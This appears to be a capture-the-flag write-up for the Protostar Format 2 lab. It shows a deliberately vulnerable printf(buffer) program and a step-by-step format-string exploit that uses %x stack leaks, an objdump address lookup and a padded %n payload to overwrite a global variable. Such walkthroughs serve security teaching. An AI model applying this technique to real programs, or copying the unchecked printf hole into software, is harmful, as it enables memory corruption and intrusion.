Exploit Exercises - Protostar Format 2

Continuing from where we left off, we arrive at Format 2. It presents us with the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
{
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);
 printf(buffer);

 if(target == 64) {
  printf("you have modified the target :)\n");
 } else {
  printf("target is %d :(\n", target);
 }
}

int main(int argc, char **argv)
{
 vuln();
}

This challenge seems very similar to Format 1, in all but 2 ways:

  1. The input is done via a fgets() instead of from the program arguments.
  2. Instead of allowing just any change, it specifically requires “target” to be equal to “64”.

We’ll start pretty much the same way as last time, spamming “%x”:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "AAAAAAAA" . "%x."x150'` | ./format2
AAAAAAAA200.b7fd8420.bffff624.41414141.41414141.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.a2e78.b7eada75.b7fd7ff4.80496b0.bffff7c8.8048338.b7ff1040.80496b0.bffff7f8.80484f9.b7fd8304.b7fd7ff4.80484e0.bffff7f8.b7ec6365.b7ff1040.bffff7f8.80484c6.80484e0.0.bffff878.b7eadc76.1.bffff8a4.bffff8ac.b7fe1848.bffff860.ffffffff.b7ffeff4.8048285.1.bffff860.b7ff0626.
target is 0 :(

This time, however, it seemed MUCH quicker to get the “41414141”, only 4 words. Let’s verify:

user@protostar:/opt/protostar/bin$ ./format2
AAAA%x%x%x%x
AAAA200b7fd8420bffff62441414141
target is 0 :(

So we’re getting to a pretty good point, let’s go ahead and find the memory address for “target”:

user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target

Next, let’s put that address in, replacing the “AAAA”:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%x"'` | ./format2
200b7fd8420bffff62480496e4
target is 0 :(

The address seems to be the last word, without any problems. So if we convert the last “%x” to “%n”, it should overwrite that address in memory with the count of characters printed:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%n"'` | ./format2
200b7fd8420bffff624
target is 23 :(

Unfortunately, only 23 characters were written. We can increase that number artificially by just changing the format string from “%x” to “%44x”. This pads the string to be 44 characters long:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%44x%x%x%n"'` | ./format2
                                         200b7fd8420bffff624
you have modified the target :)

That’s pretty much how it’s done.

And again, as bonus, if you want to use Direct Argument Access, you can simply do:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%7\\\$60x%4\\\$n"'` | ./format2
                                                       a6e24
you have modified the target :)
comments powered by Disqus